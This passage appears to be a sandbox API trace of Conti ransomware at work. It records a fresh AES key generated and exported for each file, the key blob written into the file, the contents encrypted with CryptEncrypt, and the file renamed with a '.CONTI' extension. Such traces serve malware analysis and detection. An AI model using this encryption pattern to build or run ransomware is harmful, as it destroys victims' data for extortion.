	[0105.036] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.036] WriteFile (in: hFile=0x350, lpBuffer=0x17d3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d3438*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0105.036] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.036] CloseHandle (hObject=0x350) returned 1
	[0105.037] GetProcessHeap () returned 0x1720000
	[0105.037] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0105.037] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk"
	[0105.037] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.CONTI") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.CONTI"
	[0105.037] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.CONTI" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk.conti")) returned 1
	[0105.037] GetProcessHeap () returned 0x1720000
	[0105.037] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0105.037] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0105.037] GetProcessHeap () returned 0x1720000
	[0105.037] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0105.037] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0105.417] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x17c8230) returned 1
	[0105.417] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x483fb8c | out: pbData=0x17d4d5c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0105.418] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml")) returned 0x20
	[0105.418] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.419] GetLastError () returned 0x5
	[0105.419] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0105.419] GetProcessHeap () returned 0x1720000
	[0105.419] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cd58 | out: hHeap=0x1720000) returned 1
	[0105.419] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0107.244] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x17c7f70) returned 1
	[0107.244] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x483fb8c | out: pbData=0x17d4d5c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0107.261] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml")) returned 0x20
	[0107.261] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0107.261] GetLastError () returned 0x0
	[0107.261] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=271) returned 1
	[0107.261] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0107.261] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.261] SetEndOfFile (hFile=0x390) returned 1
	[0107.262] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.262] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.262] WriteFile (in: hFile=0x390, lpBuffer=0x17d4d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d4d5c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0107.263] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.263] ReadFile (in: hFile=0x390, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x10f, lpOverlapped=0x0) returned 1
	[0107.263] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x10f, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x110) returned 1
	[0107.264] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.264] WriteFile (in: hFile=0x390, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x110, lpOverlapped=0x0) returned 1
	[0107.264] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.264] WriteFile (in: hFile=0x390, lpBuffer=0x17d4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d4d50*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0107.264] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.264] CloseHandle (hObject=0x390) returned 1
	[0107.264] GetProcessHeap () returned 0x1720000
	[0107.264] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.265] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml"
	[0107.265] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.CONTI"
	[0107.265] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\masterdatastore.xml.conti")) returned 1
	[0107.266] GetProcessHeap () returned 0x1720000
	[0107.266] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.266] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0107.266] GetProcessHeap () returned 0x1720000
	[0107.266] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d3d8 | out: hHeap=0x1720000) returned 1
	[0107.266] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.127] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6512770 | out: phKey=0x6512770*=0x17c82b0) returned 1
	[0108.127] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512774, pdwDataLen=0x483fb8c | out: pbData=0x6512774*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.130] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0108.130] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.130] GetLastError () returned 0x0
	[0108.130] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=838) returned 1
	[0108.130] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x346
	[0108.130] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.130] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.130] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.130] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.131] WriteFile (in: hFile=0x3c4, lpBuffer=0x6512774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6512774*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.132] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.132] ReadFile (in: hFile=0x3c4, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x346, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x346, lpOverlapped=0x0) returned 1
	[0108.132] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x346, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x350) returned 1
	[0108.132] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.132] WriteFile (in: hFile=0x3c4, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x350, lpOverlapped=0x0) returned 1
	[0108.132] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.132] WriteFile (in: hFile=0x3c4, lpBuffer=0x6512768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6512768*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.132] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.133] CloseHandle (hObject=0x3c4) returned 1
	[0108.133] GetProcessHeap () returned 0x1720000
	[0108.133] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.133] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml"
	[0108.133] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.CONTI"
	[0108.133] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0108.133] GetProcessHeap () returned 0x1720000
	[0108.133] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.133] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.133] GetProcessHeap () returned 0x1720000
	[0108.133] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd350 | out: hHeap=0x1720000) returned 1
	[0108.133] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.134] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c85b0) returned 1
	[0108.134] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x483fb8c | out: pbData=0x17d5434*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.135] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.135] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.135] GetLastError () returned 0x0
	[0108.135] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=650) returned 1
	[0108.135] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28a
	[0108.135] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.135] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.135] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.135] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.135] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.137] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.137] ReadFile (in: hFile=0x3c4, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x28a, lpOverlapped=0x0) returned 1
	[0108.137] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x28a, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x290) returned 1
	[0108.137] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.137] WriteFile (in: hFile=0x3c4, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x290, lpOverlapped=0x0) returned 1
	[0108.138] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.138] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.138] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.138] CloseHandle (hObject=0x3c4) returned 1
	[0108.138] GetProcessHeap () returned 0x1720000
	[0108.138] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.138] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml"
	[0108.138] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.138] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.139] GetProcessHeap () returned 0x1720000
	[0108.139] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.139] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0108.139] GetProcessHeap () returned 0x1720000
	[0108.139] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65881a0 | out: hHeap=0x1720000) returned 1
	[0108.139] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.139] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c82b0) returned 1
	[0108.139] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x483fb8c | out: pbData=0x17d3fac*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.140] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml")) returned 0x20
